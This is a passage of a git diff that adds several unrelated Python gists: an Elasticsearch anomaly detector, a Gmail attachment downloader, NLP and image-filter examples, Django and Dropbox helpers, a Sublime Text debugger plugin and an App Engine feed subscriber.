+    A timeseries is anomalous if the average of the last three datapoints falls
+    into a histogram bin with less than 20 other datapoints (you'll need to tweak
+    that number depending on your data)
+
+    Returns: the size of the bin which contains the tail_avg. Smaller bin size
+    means more anomalous.
+    """
+
+    series = scipy.array([x[1] for x in timeseries])
+    t = tail_avg(timeseries)
+    h = np.histogram(series, bins=15)
+    bins = h[1]
+    for index, bin_size in enumerate(h[0]):
+        if bin_size <= 20:
+            # Is it in the first bin?
+            if index == 0:
+                if t <= bins[0]:
+                    return True
+            # Is it in the current bin?
+            elif t >= bins[index] and t < bins[index + 1]:
+                    return True
+
+    return False
+
+
+def ks_test(timeseries):
+    """
+    A timeseries is anomalous if 2 sample Kolmogorov-Smirnov test indicates
+    that data distribution for last 10 minutes is different from last hour.
+    It produces false positives on non-stationary series so Augmented
+    Dickey-Fuller test applied to check for stationarity.
+    """
+
+    hour_ago = time() - 3600
+    ten_minutes_ago = time() - 600
+    reference = scipy.array([x[1] for x in timeseries if x[0] >= hour_ago and x[0] < ten_minutes_ago])
+    probe = scipy.array([x[1] for x in timeseries if x[0] >= ten_minutes_ago])
+
+    if reference.size < 20 or probe.size < 20:
+        return False
+
+    ks_d, ks_p_value = scipy.stats.ks_2samp(reference, probe)
+
+    if ks_p_value < 0.05 and ks_d > 0.5:
+        adf = sm.tsa.stattools.adfuller(reference, 10)
+        if adf[1] < 0.05:
+            return True
+
+    return False
+
+
+def run_selected_algorithm(timeseries):
+    """
+    Filter timeseries and run selected algorithm.
+    """
+    # Get rid of short series
+    if len(timeseries) < MIN_TOLERABLE_LENGTH:
+        pass
+
+    # Get rid of stale series
+    if time() - timeseries[-1][0] > STALE_PERIOD:
+        pass
+
+    # Get rid of boring series
+    if len(set(item[1] for item in timeseries[-MAX_TOLERABLE_BOREDOM:])) == BOREDOM_SET_SIZE:
+        pass
+
+    try:
+        ensemble = [globals()[algorithm](timeseries) for algorithm in ALGORITHMS]
+        threshold = len(ensemble) - CONSENSUS
+        if ensemble.count(False) <= threshold:
+            return True, ensemble, timeseries[-1][1]
+        return False, ensemble, timeseries[-1][1]
+    except:
+        logging.error("Algorithm error: " + traceback.format_exc())
+        return False, [], 1
+
+def get_es_data(index, field):
+    """
+    Get values of the field from elasticsearh index.
+    """
+    es = Elasticsearch(['10.4.16.68', '10.4.27.162'])
+    res = es.search(index=index, body={
+        "query" : {
+            "filtered" : {
+                "query" : { "match_all" : {}},
+                "filter" : {
+                    "range" : { "@timestamp" : { "from" : "now-1h", "to" : "now" }}
+                }
+            }
+        },
+        "size" : 0,
+        "facets" : {
+            field : { "date_histogram" : { "key_field" : "@timestamp", "value_field" : field, "interval" : "5m" } }
+        }
+    })
+    print(res['hits']['total'])
+    timeseries = []
+    for entry in res['facets'][field]['entries']:
+        timeseries.append( [entry['time'], entry['total']] )
+    return(timeseries)
+
+if __name__ == "__main__":
+
+    timeseries = get_es_data('logstash-ngxaccounting-2014.05.30', 'code.504')
+
+    anomalous, ensemble, datapoint = run_selected_algorithm(timeseries)
+    if anomalous:
+        print("Your anomalous datapoint (" + str(datapoint) + ") don't pass following test:")
+        for index, value in enumerate(ensemble):
+            if value:
+                print("\t" + ALGORITHMS[index])
+    else:
+        print("Your latest datapoint is OK")
+        print(ensemble, datapoint)
\ No newline at end of file
diff --git a/hard-gists/30a5138e41cba69dc81c/._snippet.py b/hard-gists/30a5138e41cba69dc81c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/30a5138e41cba69dc81c/._snippet.py differ
diff --git a/hard-gists/30a5138e41cba69dc81c/snippet.py b/hard-gists/30a5138e41cba69dc81c/snippet.py
new file mode 100644
index 00000000..1200a0c1
--- /dev/null
+++ b/hard-gists/30a5138e41cba69dc81c/snippet.py
@@ -0,0 +1,87 @@
+#!/usr/bin/python
+# coding=utf-8
+from __future__ import print_function
+import httplib2
+import os
+import re
+import base64
+
+from apiclient import discovery
+import oauth2client
+from oauth2client import client
+from oauth2client import tools
+
+try:
+    import argparse
+    flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()
+except ImportError:
+    flags = None
+
+SCOPES = 'https://www.googleapis.com/auth/gmail.readonly'
+CLIENT_SECRET_FILE = 'client_secret.json'
+APPLICATION_NAME = 'Gmail API Python Quickstart'
+
+
+def get_credentials():
+    """Gets valid user credentials from storage.
+
+    If nothing has been stored, or if the stored credentials are invalid,
+    the OAuth2 flow is completed to obtain the new credentials.
+
+    Returns:
+        Credentials, the obtained credential.
+    """
+    home_dir = os.path.expanduser('~')
+    credential_dir = os.path.join(home_dir, '.credentials')
+    if not os.path.exists(credential_dir):
+        os.makedirs(credential_dir)
+    credential_path = os.path.join(credential_dir,
+                                   'gmail-python-quickstart.json')
+
+    store = oauth2client.file.Storage(credential_path)
+    credentials = store.get()
+    if not credentials or credentials.invalid:
+        flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)
+        flow.user_agent = APPLICATION_NAME
+        if flags:
+            credentials = tools.run_flow(flow, store, flags)
+        else: # Needed only for compatibility with Python 2.6
+            credentials = tools.run(flow, store)
+        print('Storing credentials to ' + credential_path)
+    return credentials
+
+def main():
+    """Shows basic usage of the Gmail API.
+
+    Creates a Gmail API service object and outputs a list of label names
+    of the user's Gmail account.
+    """
+    credentials = get_credentials()
+    http = credentials.authorize(httplib2.Http())
+    service = discovery.build('gmail', 'v1', http=http)
+
+    msgs = service.users().messages().list(userId='me', q=u"from:(cht_ebpp@cht.com.tw) subject:(電信費用通知單)").execute()
+    if not msgs:
+        print("email not found")
+    else:
+        for msg in msgs['messages']:
+            mail = service.users().messages().get(userId='me', id=msg['id']).execute()
+            for part in (mail['payload']['parts']):
+                filename = None
+                data = None
+                if part['filename'] and 'data' in part['body']:
+                    data=part['body']['data']
+                    filename = part['filename']
+                elif (part['mimeType'] == 'application/pdf'):
+                    att_id = part['body']['attachmentId']
+                    filename = re.split("name=", part['headers'][0]['value'])[1]
+                    attachment = service.users().messages().attachments().get(userId='me', messageId=msg['id'], id=att_id).execute()
+                    data = attachment['data']
+                if filename is not None:
+                    print("Saving %s file size: %d" % (filename, part['body']['size']))
+                    file_data = base64.urlsafe_b64decode(data.encode('UTF-8'))
+                    with open(filename, 'w') as f:
+                        f.write(file_data)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/30d2e626772e84edd688ba717a766c89/._snippet.py b/hard-gists/30d2e626772e84edd688ba717a766c89/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/30d2e626772e84edd688ba717a766c89/._snippet.py differ
diff --git a/hard-gists/30d2e626772e84edd688ba717a766c89/snippet.py b/hard-gists/30d2e626772e84edd688ba717a766c89/snippet.py
new file mode 100644
index 00000000..e0fa12b1
--- /dev/null
+++ b/hard-gists/30d2e626772e84edd688ba717a766c89/snippet.py
@@ -0,0 +1,20 @@
+from django.db.models import F, Func, Value
+from myapp.models import MyModel
+
+# Annotation
+MyModel.objects.filter(description__icontains='\r\n').annotate(
+    fixed_description=Func(
+        F('description'),
+        Value('\r\n'), Value('\n'),
+        function='replace',
+    )
+)
+
+# Bulk replace/fix
+MyModel.objects.filter(description__icontains='\r\n').update(
+    description=Func(
+        F('description'),
+        Value('\r\n'), Value('\n'),
+        function='replace',
+    )
+)
diff --git a/hard-gists/31122eb9e4c0af8adeca/._snippet.py b/hard-gists/31122eb9e4c0af8adeca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/31122eb9e4c0af8adeca/._snippet.py differ
diff --git a/hard-gists/31122eb9e4c0af8adeca/snippet.py b/hard-gists/31122eb9e4c0af8adeca/snippet.py
new file mode 100644
index 00000000..09c59f83
--- /dev/null
+++ b/hard-gists/31122eb9e4c0af8adeca/snippet.py
@@ -0,0 +1,69 @@
+from nltk import word_tokenize
+from nltk.corpus import reuters 
+from sklearn.feature_extraction.text import TfidfVectorizer
+from nltk.stem.porter import PorterStemmer
+import re
+from nltk.corpus import stopwords
+
+cachedStopWords = stopwords.words("english")
+
+def tokenize(text):
+	min_length = 3
+	words = map(lambda word: word.lower(), word_tokenize(text));
+	words = [word for word in words if word not in cachedStopWords]
+	tokens =(list(map(lambda token: PorterStemmer().stem(token), words)));
+	p = re.compile('[a-zA-Z]+');
+	filtered_tokens = list(filter(lambda token: p.match(token) and len(token)>=min_length, tokens));
+	return filtered_tokens
+
+# Return the representer, without transforming
+def tf_idf(docs):	
+	tfidf = TfidfVectorizer(tokenizer=tokenize, min_df=3, max_df=0.90, max_features=1000, use_idf=True, sublinear_tf=True);
+	tfidf.fit(docs);
+	return tfidf;
+
+def feature_values(doc, representer):
+	doc_representation = representer.transform([doc])
+	features = representer.get_feature_names()
+	return [(features[index], doc_representation[0, index]) for index in doc_representation.nonzero()[1]]
+
+def collection_stats():
+	# List of documents
+	documents = reuters.fileids()
+	print(str(len(documents)) + " documents");
+	
+	train_docs = list(filter(lambda doc: doc.startswith("train"), documents));
+	print(str(len(train_docs)) + " total train documents");
+	
+	test_docs = list(filter(lambda doc: doc.startswith("test"), documents));	
+	print(str(len(test_docs)) + " total test documents");
+
+	# List of categories 
+	categories = reuters.categories();
+	print(str(len(categories)) + " categories");
+
+	# Documents in a category
+	category_docs = reuters.fileids("acq");
+
+	# Words for a document
+	document_id = category_docs[0]
+	document_words = reuters.words(category_docs[0]);
+	print(document_words);	
+
+	# Raw document
+	print(reuters.raw(document_id));
+
+def main():
+	train_docs = []
+	test_docs = []
+
+	for doc_id in reuters.fileids():
+		if doc_id.startswith("train"):		
+			train_docs.append(reuters.raw(doc_id))
+		else:
+			test_docs.append(reuters.raw(doc_id))
+		
+	representer = tf_idf(train_docs);
+
+	for doc in test_docs:
+		print(feature_values(doc, representer))
\ No newline at end of file
diff --git a/hard-gists/3113810/._snippet.py b/hard-gists/3113810/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3113810/._snippet.py differ
diff --git a/hard-gists/3113810/snippet.py b/hard-gists/3113810/snippet.py
new file mode 100644
index 00000000..c0af3589
--- /dev/null
+++ b/hard-gists/3113810/snippet.py
@@ -0,0 +1,89 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+# BBErrors: Script to display compiler output messages in BBEdit browser window
+# Copyright Jay Lieske Jr.
+# 2 May 2016
+
+import sys, re, os
+import struct
+from Foundation import NSAppleEventDescriptor
+from ScriptingBridge import SBApplication
+
+if sys.stdin.isatty():
+    print "usage: ... | bberrors 'Window Title'"
+    print "Filters standard input for compiler error messages, "
+    print "and tells BBEdit to display the messages in an error browser window."
+    sys.exit(1)
+
+def fourCharCode(string):
+  "Convert a four-char code string into a 32-bit int."
+  return struct.unpack('>I', string)[0]
+
+def processMessages():
+    # Matches just the error messages from the compiler:
+    # a file name, followed by a colon and line number, an optional column number,
+    # and then the error message.
+    # Since BBEdit doesn't accept column numbers, it doesn't try to parse
+    # other positional feedback from the compiler.
+    # To avoid false matches, this version doesn't allow spaces in file names.
+    pat = re.compile(r"^([^: ]+):(\d+)(?:[.:-]\d+)*[:\s]+(.+)$")
+
+    # Distinguish warning from errors.
+    warning = re.compile(r"warning", re.IGNORECASE)
+    warning_kind = NSAppleEventDescriptor.descriptorWithEnumCode_(
+        fourCharCode('Wrng'))
+    error_kind = NSAppleEventDescriptor.descriptorWithEnumCode_(
+        fourCharCode('Err '))
+
+    # Accumulate the set of errors found on stdin.
+    entries = []
+    for line in sys.stdin:
+        sys.stdout.write(line) # echo everything
+        match = pat.match(line)
+        if match:
+            file, line, message = match.groups()
+            kind = warning_kind if warning.match(message) else error_kind
+            file = os.path.abspath(file)
+            # BBEdit returns error -1701 for nonexistent files.
+            if os.path.exists(file):
+                entries.append(dict(result_kind=kind,
+                                    result_file=file,
+                                    result_line=int(line),
+                                    message=message))
+    return entries
+
+def showResultsBrowser(name, entries):
+    BBEdit = SBApplication.applicationWithBundleIdentifier_(
+      "com.barebones.BBEdit")
+    ResultsBrowser = BBEdit.classForScriptingClass_("results browser")
+    properties = {'name': name}
+    browserSpecifier = ResultsBrowser.alloc().initWithElementCode_properties_data_(
+      fourCharCode('RslW'), properties, entries)
+    BBEdit.windows().addObject_(browserSpecifier)
+
+entries = processMessages()
+if not entries: sys.exit(0)
+name = sys.argv[1] if len(sys.argv) > 1 else "Browser"
+showResultsBrowser(name, entries)
+
+
+# MIT License
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
diff --git a/hard-gists/3116927/._snippet.py b/hard-gists/3116927/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3116927/._snippet.py differ
diff --git a/hard-gists/3116927/snippet.py b/hard-gists/3116927/snippet.py
new file mode 100644
index 00000000..cc5ee5ab
--- /dev/null
+++ b/hard-gists/3116927/snippet.py
@@ -0,0 +1,23 @@
+"""
+Three ways of computing the Hellinger distance between two discrete
+probability distributions using NumPy and SciPy.
+"""
+
+import numpy as np
+from scipy.linalg import norm
+from scipy.spatial.distance import euclidean
+
+
+_SQRT2 = np.sqrt(2)     # sqrt(2) with default precision np.float64
+
+
+def hellinger1(p, q):
+    return norm(np.sqrt(p) - np.sqrt(q)) / _SQRT2
+
+
+def hellinger2(p, q):
+    return euclidean(np.sqrt(p), np.sqrt(q)) / _SQRT2
+
+
+def hellinger3(p, q):
+    return np.sqrt(np.sum((np.sqrt(p) - np.sqrt(q)) ** 2)) / _SQRT2
\ No newline at end of file
diff --git a/hard-gists/3128835/._snippet.py b/hard-gists/3128835/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3128835/._snippet.py differ
diff --git a/hard-gists/3128835/snippet.py b/hard-gists/3128835/snippet.py
new file mode 100644
index 00000000..e72b05f2
--- /dev/null
+++ b/hard-gists/3128835/snippet.py
@@ -0,0 +1,46 @@
+from django.core.files.uploadhandler import TemporaryFileUploadHandler
+from django.core.files.base import File
+from dropbox.client import DropboxClient
+from dropbox.session import DropboxSession
+from django.conf import settings
+import os
+
+class DropboxFileUploadHandler(TemporaryFileUploadHandler):
+    def __init__(self, *args, **kwargs):
+        super(DropboxFileUploadHandler, self).__init__(*args, **kwargs)
+        fallback_dropbox_folder = getattr(settings, "DROPBOX_FILE_UPLOAD_FOLDER", "/")
+        self.dropbox_folder = kwargs.get("dropbox_folder", fallback_dropbox_folder)
+        access_type = getattr(settings, "DROPBOX_ACCESS_TYPE", "app_folder")
+        dropbox_session = DropboxSession(settings.DROPBOX_APP_KEY,
+                                         settings.DROPBOX_APP_SECRET_KEY,
+                                         access_type)
+        dropbox_session.set_token(settings.DROPBOX_APP_ACCESS_TOKEN,
+                                  settings.DROPBOX_APP_ACCESS_TOKEN_SECRET)
+        self.dropbox_client = DropboxClient(dropbox_session)
+
+    def file_complete(self, file_size):
+        self.file = super(DropboxFileUploadHandler, self).file_complete(file_size)
+        file_path = os.path.join(self.dropbox_folder, self.file.name)
+        metadata = self.dropbox_client.put_file(file_path, self.file)
+        return DropboxFile(metadata)
+
+
+class DropboxFile(File):
+    def __init__(self, file, name=None):
+        self.dropbox_metadata = file
+        name = name or os.path.basename(self.dropbox_metadata["path"])
+        super(DropboxFile, self).__init__(file, name=name)
+        self._size = self.dropbox_metadata["size"]
+        access_type = getattr(settings, "DROPBOX_ACCESS_TYPE", "app_folder")
+        dropbox_session = DropboxSession(settings.DROPBOX_APP_KEY,
+                                         settings.DROPBOX_APP_SECRET_KEY,
+                                         access_type)
+        dropbox_session.set_token(settings.DROPBOX_APP_ACCESS_TOKEN,
+                                  settings.DROPBOX_APP_ACCESS_TOKEN_SECRET)
+        self.dropbox_client = DropboxClient(dropbox_session)
+
+    def open(self, mode=None):
+        self.file = self.dropbox_client.get_file(self.dropbox_metadata["path"])
+
+    def close(self):
+        pass
\ No newline at end of file
diff --git a/hard-gists/3129692/._snippet.py b/hard-gists/3129692/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3129692/._snippet.py differ
diff --git a/hard-gists/3129692/snippet.py b/hard-gists/3129692/snippet.py
new file mode 100644
index 00000000..12758dc6
--- /dev/null
+++ b/hard-gists/3129692/snippet.py
@@ -0,0 +1,139 @@
+##########################################################################
+# Maximum Response filterbank from
+# http://www.robots.ox.ac.uk/~vgg/research/texclass/filters.html
+# based on several edge and bar filters.
+# Adapted to Python by Andreas Mueller amueller@ais.uni-bonn.de
+# Share and enjoy
+#
+
+import numpy as np
+import matplotlib.pyplot as plt
+from itertools import product, chain
+from scipy.misc import lena
+#from sklearn.externals.joblib import Parallel, delayed
+
+
+def makeRFSfilters(radius=24, sigmas=[1, 2, 4], n_orientations=6):
+    """ Generates filters for RFS filterbank.
+
+    Parameters
+    ----------
+    radius : int, default 28
+        radius of all filters. Size will be 2 * radius + 1
+
+    sigmas : list of floats, default [1, 2, 4]
+        define scales on which the filters will be computed
+
+    n_orientations : int
+        number of fractions the half-angle will be divided in
+
+    Returns
+    -------
+    edge : ndarray (len(sigmas), n_orientations, 2*radius+1, 2*radius+1)
+        Contains edge filters on different scales and orientations
+    bar : ndarray (len(sigmas), n_orientations, 2*radius+1, 2*radius+1)
+        Contains bar filters on different scales and orientations
+    rot : ndarray (2, 2*radius+1, 2*radius+1)
+        contains two rotation invariant filters, Gaussian and Laplacian of
+        Gaussian
+    """
+    def make_gaussian_filter(x, sigma, order=0):
+        if order > 2:
+            raise ValueError("Only orders up to 2 are supported")
+        # compute unnormalized Gaussian response
+        response = np.exp(-x ** 2 / (2. * sigma ** 2))
+        if order == 1:
+            response = -response * x
+        elif order == 2:
+            response = response * (x ** 2 - sigma ** 2)
+        # normalize
+        response /= np.abs(response).sum()
+        return response
+
+    def makefilter(scale, phasey, pts, sup):
+        gx = make_gaussian_filter(pts[0, :], sigma=3 * scale)
+        gy = make_gaussian_filter(pts[1, :], sigma=scale, order=phasey)
+        f = (gx * gy).reshape(sup, sup)
+        # normalize
+        f /= np.abs(f).sum()
+        return f
+
+    support = 2 * radius + 1
+    x, y = np.mgrid[-radius:radius + 1, radius:-radius - 1:-1]
+    orgpts = np.vstack([x.ravel(), y.ravel()])
+
+    rot, edge, bar = [], [], []
+    for sigma in sigmas:
+        for orient in xrange(n_orientations):
+            # Not 2pi as filters have symmetry
+            angle = np.pi * orient / n_orientations
+            c, s = np.cos(angle), np.sin(angle)
+            rotpts = np.dot(np.array([[c, -s], [s, c]]), orgpts)
+            edge.append(makefilter(sigma, 1, rotpts, support))
+            bar.append(makefilter(sigma, 2, rotpts, support))
+    length = np.sqrt(x ** 2 + y ** 2)
+    rot.append(make_gaussian_filter(length, sigma=10))
+    rot.append(make_gaussian_filter(length, sigma=10, order=2))
+
+    # reshape rot and edge
+    edge = np.asarray(edge)
+    edge = edge.reshape(len(sigmas), n_orientations, support, support)
+    bar = np.asarray(bar).reshape(edge.shape)
+    rot = np.asarray(rot)[:, np.newaxis, :, :]
+    return edge, bar, rot
+
+
+def apply_filterbank(img, filterbank):
+    from scipy.ndimage import convolve
+    result = []
+    for battery in filterbank:
+        response = [convolve(img, filt) for filt in battery]
+        #response = Parallel(n_jobs=5)(
+                #delayed(convolve)(img, filt) for filt in battery)
+        max_response = np.max(response, axis=0)
+        result.append(max_response)
+        print("battery finished")
+    return result
+
+
+if __name__ == "__main__":
+    sigmas = [1, 2, 4]
+    n_sigmas = len(sigmas)
+    n_orientations = 6
+
+    edge, bar, rot = makeRFSfilters(sigmas=sigmas,
+            n_orientations=n_orientations)
+
+    n = n_sigmas * n_orientations
+
+    # plot filters
+    # 2 is for bar / edge, + 1 for rot
+    fig, ax = plt.subplots(n_sigmas * 2 + 1, n_orientations)
+    for k, filters in enumerate([bar, edge]):
+        for i, j in product(xrange(n_sigmas), xrange(n_orientations)):
+            row = i + k * n_sigmas
+            ax[row, j].imshow(filters[i, j, :, :], cmap=plt.cm.gray)
+            ax[row, j].set_xticks(())
+            ax[row, j].set_yticks(())
+    ax[-1, 0].imshow(rot[0, 0], cmap=plt.cm.gray)
+    ax[-1, 0].set_xticks(())
+    ax[-1, 0].set_yticks(())
+    ax[-1, 1].imshow(rot[1, 0], cmap=plt.cm.gray)
+    ax[-1, 1].set_xticks(())
+    ax[-1, 1].set_yticks(())
+    for i in xrange(2, n_orientations):
+        ax[-1, i].set_visible(False)
+
+    # apply filters to lena
+    img = lena().astype(np.float)
+    filterbank = chain(edge, bar, rot)
+    n_filters = len(edge) + len(bar) + len(rot)
+    response = apply_filterbank(img, filterbank)
+    # plot responses
+    fig2, ax2 = plt.subplots(3, 3)
+    for axes, res in zip(ax2.ravel(), response):
+        axes.imshow(res, cmap=plt.cm.gray)
+        axes.set_xticks(())
+        axes.set_yticks(())
+    ax2[-1, -1].set_visible(False)
+    plt.show()
diff --git a/hard-gists/3130141/._snippet.py b/hard-gists/3130141/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3130141/._snippet.py differ
diff --git a/hard-gists/3130141/snippet.py b/hard-gists/3130141/snippet.py
new file mode 100644
index 00000000..31e532ee
--- /dev/null
+++ b/hard-gists/3130141/snippet.py
@@ -0,0 +1,199 @@
+import sublime
+import sublime_plugin
+import subprocess
+import struct
+import tempfile
+import threading
+import time
+import traceback
+import os
+import re
+import Queue
+
+cdb_shutting_down = False
+cdb_process = None
+
+# This queue contains command we wish to send to CDB.
+cdb_pend = Queue.Queue()
+cdb_commands = []
+cdb_prompt = re.compile(r"([0-9]+):([0-9]+)>$", re.M)
+cdb_command = re.compile(r"^([0-9]+):([0-9]+)>", re.M)
+
+def cdbworker():
+	global cdb_process
+	global cdb_pend
+	cdb_current = None
+	current_output = ""
+	abort = False
+
+	while True:
+		try:
+			if cdb_process == None or cdb_process.poll() != None:
+				break
+
+			# Try and wait for a command.
+			if cdb_current == None:
+				try:
+					cdb_current = cdb_pend.get(True, 1)
+					if cdb_current.get_text().strip() != "":
+						cdb_process.stdin.write(cdb_current.get_text() + "\r\n")
+						cdb_current.insert_text("\n")
+				except:
+					cdb_current = None
+
+			if cdb_current != None:
+				if not cdb_prompt.search(current_output):
+					current_output = current_output + cdb_process.stdout.read(1)
+				elif cdb_current != None: # tell the command that it has completed
+					cdb_current.insert_text(current_output.strip())
+					cdb_current.commit()
+					current_output = ""
+					cdb_current = None
+
+			if current_output.endswith("\n"):
+				cdb_current.insert_text(current_output.strip() + "\n")
+				current_output = ""
+
+			# TODO: Deal with interactive debugging - the debugger could
+			# do something without us requesting it
+
+		except:
+			traceback.print_exc()
+			abort = True
+
+	if cdb_process != None and (not abort) and cdb_current != None:
+		text = cdb_process.stdout.read()
+		cdb_current.insert_text(text)
+
+	print("CDB has closed")
+
+# We use this to tell the backend thread what to do
+class CdbCommand:
+	def __init__(self, view, edit, region, text):
+		self.view = view
+		self.text = text
+		self.region = region
+		self.edit = edit
+
+	def insert_text(self, insert):
+		sublime.set_timeout(lambda: self.insert_text_impl(insert), 100)
+
+	def commit(self):
+		sublime.set_timeout(lambda: self.commit_impl(), 100)
+
+	def insert_text_impl(self, insert):
+		end = self.region.end()
+		length = self.view.insert(self.edit, end, insert)
+		self.view.show(end + length)
+		self.update_regions(length)
+
+	def commit_impl(self):
+		cdb_commands.remove(self)
+		self.update_status()
+
+	def get_text(self):
+		return self.text
+
+	def update_regions(self, length):
+		region = self.region
+		end = self.region.end()
+		for command in cdb_commands:
+			if command.region.begin() >= end or command.region.intersects(region):
+				command.region = sublime.Region(command.region.a + length, command.region.b + length)
+		self.update_status()
+
+	def update_status(self):
+		if len(cdb_commands) > 0:
+			self.view.set_status('cdb', "SublimeCDB is waiting %i commands to complete" % len(cdb_commands))
+		else:
+			self.view.erase_status('cdb')
+
+
+# This command launches CDB
+class CdbExecute(sublime_plugin.TextCommand):
+	def run(self, edit):
+		global cdb_process
+		global cdb_shutting_down
+
+		if cdb_process == None or cdb_process.poll() != None:
+			self.launchcdb(edit)
+		else:
+			self.sendtocdb(edit)
+
+	def launchcdb(self, edit):
+		global cdb_process
+		global cdb_shutting_down
+
+		# Get the starting command
+		sel = self.view.sel()[0]
+		line_region = self.view.full_line(sel)
+		command = self.view.substr(line_region)
+
+		commandline = ""
+		workdir = ""
+		
+		# Determine the architecture
+		if command.startswith("x64 ") or command.startswith("x86 "):
+			workdir = "C:\\windbg\\" + command[0:3]
+			commandline = workdir + "\\cdb.exe "
+			command = command[4:]
+		else:
+			self.view.replace(edit, line_region, "x86 dump C:\\foo.dmp")
+			return
+
+		# Determine the command
+		if command.startswith("dump "):
+			commandline = commandline + "-z \"" + command[5:] + "\""
+		else:
+			self.view.replace(edit, line_region, "x86 dump C:\\foo.dmp")
+			return
+
+		print "Running: %s" % commandline
+		print "In directory: %s" % workdir
+
+		cdb_process = subprocess.Popen(commandline, shell=True, cwd=workdir,
+                                        stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+
+		# Queue the first command to get the initial output from CDB.
+		self.pend(edit, line_region, "")
+
+		t = threading.Thread(target=cdbworker)
+		t.start()
+		
+	def sendtocdb(self, edit):
+		global cdb_process
+		global cdb_shutting_down
+
+		sels = self.view.sel()
+		end_sel = 0
+		# Support multiple selections
+		for sel in sels:
+			# Get all the lines in the selection
+			lines = self.view.lines(sel)
+
+			end = sel.end()
+			if end_sel < end:
+				end_sel = end
+
+			# Check each line
+			for line in lines:
+				line_content = self.view.substr(line)
+
+				if line_content.startswith(">"):
+					line_content = line_content[1:]
+				elif cdb_command.search(line_content):
+					pos = line_content.index(">") + 1
+					line_content = line_content[pos:]
+				else:
+					line_content = ""
+
+				if line_content != "":
+					self.pend(edit, line, line_content)
+		sels.clear()
+		sels.add(sublime.Region(end_sel, end_sel))
+
+	def pend(self, edit, sel, content):
+		command_push = CdbCommand(self.view, edit, sel, content)
+		cdb_commands.append(command_push)
+		cdb_pend.put(command_push)
+		command_push.update_status()
diff --git a/hard-gists/313753/._snippet.py b/hard-gists/313753/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/313753/._snippet.py differ
diff --git a/hard-gists/313753/snippet.py b/hard-gists/313753/snippet.py
new file mode 100644
index 00000000..4db5c4b8
--- /dev/null
+++ b/hard-gists/313753/snippet.py
@@ -0,0 +1,137 @@
+from google.appengine.api import urlfetch
+from google.appengine.api import xmpp
+from google.appengine.ext import db
+from google.appengine.ext import webapp
+from google.appengine.ext.webapp.util import run_wsgi_app
+from google.appengine.ext.webapp import xmpp_handlers
+
+import base64
+import feedparser
+import logging
+import urllib
+import urlparse
+import uuid
+
+
+HUB_URL = 'http://superfeedr.com/hubbub'
+HUB_CREDENTIALS = ('username', 'password')
+
+
+class Subscription(db.Model):
+  @property
+  def url(self):
+    return self.key().name()
+
+  verify_token = db.StringProperty(required=True)  # Random verification token.
+
+
+class Subscriber(db.Model):
+  @property
+  def subscription(self):
+    return self.parent
+  
+  @property
+  def address(self):
+    return self.key().name()
+
+
+def add_subscription(topic, recipient):
+  created = False
+  subscription = Subscription.get_by_key_name(topic)
+  if not subscription:
+    created = True
+    subscription = Subscription(key_name=topic, verify_token=str(uuid.uuid4()))
+  subscriber = Subscriber(key_name=recipient, parent=subscription)
+  db.put([subscription, subscriber])
+  return created, subscription, subscriber
+
+
+def find_self_url(links):
+  for link in links:
+    if link.rel == 'self':
+      return link.href
+  return None
+
+class XmppHandler(xmpp_handlers.CommandHandler):
+  def send_subscription_request(self, subscription):
+    subscribe_args = {
+        'hub.callback': urlparse.urljoin(self.request.url, '/hubbub'),
+        'hub.mode': 'subscribe',
+        'hub.topic': subscription.url,
+        'hub.verify': 'async',
+        'hub.verify_token': subscription.verify_token,
+    }
+
+    headers = {}
+
+    if HUB_CREDENTIALS:
+      auth_string = "Basic " + base64.b64encode("%s:%s" % HUB_CREDENTIALS)
+      headers['Authorization'] = auth_string
+
+    response = urlfetch.fetch(HUB_URL, payload=urllib.urlencode(subscribe_args),
+                              method=urlfetch.POST, headers=headers)
+
+
+  def subscribe_command(self, message):
+    if not message.arg.startswith("http"):
+      message.reply("Subscription requests must consist of a URL to subscribe to")
+      return
+
+    created, subscription, subscriber = db.run_in_transaction(
+        add_subscription,
+        message.arg,  # URL to subscribe to
+        message.sender,  # User who is subscribing
+    )
+
+    if created:
+      self.send_subscription_request(subscription)
+    
+    message.reply("Subscription created!")
+
+
+class CallbackHandler(webapp.RequestHandler):
+  def get(self):
+    if self.request.GET['hub.mode'] == 'unsubscribe':
+      self.response.headers['Content-Type'] = 'text/plain'
+      self.response.out.write(self.request.GET['hub.challenge'])
+      return
+      
+    if self.request.GET['hub.mode'] != 'subscribe':
+      self.error(400)
+      return
+
+    subscription = Subscription.get_by_key_name(self.request.GET['hub.topic'])
